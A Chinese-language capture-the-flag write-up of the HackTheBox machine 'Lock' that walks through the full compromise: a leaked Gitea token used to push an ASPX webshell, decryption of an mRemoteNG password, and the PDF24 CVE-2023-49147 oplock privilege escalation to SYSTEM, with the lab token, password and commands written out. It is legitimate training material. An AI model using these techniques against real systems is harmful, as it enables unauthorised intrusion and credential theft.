OSCP Lock Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Lock

靶场地址:

https://app.hackthebox.com/machines/Lock

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

Git token 泄露 –> 上传 web shell –> 系统 ellen.freeman 用户权限 –> mremoteng 配置文件解密 –> 系统 Gale.Dekarios 用户权限 –> 用户旗帜

权限提升(获取管理员旗帜):

PDF24 Creator 本地提权漏洞(UI 界面) –> 系统 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
6
7
sudo nmap -p- 10.129.234.64 --min-rate=2000

PORT STATE SERVICE
80/tcp open http
445/tcp open microsoft-ds
3000/tcp open ppp
3389/tcp open ms-wbt-server

UDP 端口扫描:未发现可利用的端口。

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sudo nmap -p80,445,3000,3389 -sCV 10.129.234.64

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
445/tcp open microsoft-ds?
3000/tcp open http Golang net/http server
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=51680e916066cc82; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=leEPxHUbCx2kqspq-0aULZoSrOM6MTc2MTI3OTAxODk1MjgxNzkwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 24 Oct 2025 04:10:19 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=181d8a8a4a7acbc2; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=Gl4N9I85QBauPiwaKCicZyBfqpk6MTc2MTI3OTAxOTUyMDgzNjIwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 24 Oct 2025 04:10:19 GMT
|_ Content-Length: 0
|_http-title: Gitea: Git with a cup of tea
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2025-10-23T03:18:38
|_Not valid after: 2026-04-24T03:18:38
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-24T04:10:42+00:00
|_ssl-date: 2025-10-24T04:11:23+00:00; -8s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

由此得出结论:

系统为 Windows 环境,开放有 HTTP、SMB 和 RDP 服务。

3.2 渗透测试突破边界

3.2.1 Git token 泄露、上传 webshell 得到 ellen.freeman 用户权限

靶机的 HTTP(80)端口和 SMB 服务未发现有价值的信息,在 HTTP 3000 端口上部署了 Gitea 应用(版本 1.21.3)。

Gitea 1.21.3 版本未发现可利用的 RCE 漏洞,但在代码仓库中发现名为 dev-scripts 的项目。通过查看该项目的历史提交记录,获取到了一个 Git Token 信息。

下载 repos.py 文件至本地,在 kali 设置 GITEA_ACCESS_TOKEN 环境变量,执行 repos.py 脚本可发现一个新的代码项目。

1
export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f

使用 Gitea token 尝试将项目克隆至本地。

1
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git

项目中 changelog 和 readme 文件提示系统新建了一个网站,而且会自动部署存储库的代码,我们可尝试通过 Git 上传 webshell。

根据 index.html 内容判断,系统 HTTP 80 端口大概率部署了该项目代码,下载 aspx webshell,然后通过 Git push 指令上传。

1
2
# aspx shell
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

通过 HTTP 80 端口访问 Git 上传的 webshell,得到系统 ellen.freeman 用户权限。

通过 webshell 获取 ellen.freeman 用户反弹 shell。

3.2.2 mRemoteNG 配置文件解密得到 Gale.Dekarios 用户权限

在 ellen.freeman 用户 documents 目录发现 config.xml 文件,将其下载至本地。

配置文件保存了 Gale.Dekarios 用户加密密码,根据 Icon 字段信息在搜索引擎检索,发现该文件属于 mRemoteNG 应用配置文件。

Github 有现成的解密脚本,利用脚本解密可得到系统 Gale.Dekarios 用户明文密码。

1
https://github.com/gquere/mRemoteNG_password_decrypt

使用获取的 Gale.Dekarios 用户密码 RDP 登录靶机。

1
xfreerdp3 /u:"Gale.Dekarios" /p:"ty8wnW9qCKDosXo6" /v:10.129.234.64 /cert:ignore /dynamic-resolution /clipboard /scale:180

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 PDF 24 本地提权获取系统 system 权限

将 Windows 文件扩展和隐藏文件显示打开。

在 Windows 图标栏发现系统运行了 PDF 24 应用,版本为 11.15.1,搜索引擎检索发现该版本历史存在本地提权漏洞(CVE-2023-49147)。

参考链接:

1
https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/

PDF 24 msi 安装包在系统 C 盘 _install 目录中,只需要下载 SetOpLock.exe 程序设置机会锁即可。

1
https://github.com/googleprojectzero/symboliclink-testing-tools

在靶机 cmd 执行 SetOpLock.exe 设置机会锁。

1
SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r

执行修复 PDF 24 操作。

1
msiexec /fa pdf24-creator-11.15.1-x64.msi

当程序执行写入日志时,会弹出 system 权限 cmd 窗口,由于使用 SetOpLock.exe 开启了机会锁,该窗口不会立即退出。

在 system 权限的 cmd 窗口创建右键点击属性,找到下方跳转至浏览器的链接按钮,然后选择火狐浏览器,注意: 一定要选择火狐浏览器,IE 和 Edge 浏览器无法以 system 权限启动,而且一旦选错需要重置靶机。

通过 Ctrl + O 打开文件,然后输入 cmd 点击回车,得到系统 system 权限 shell。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨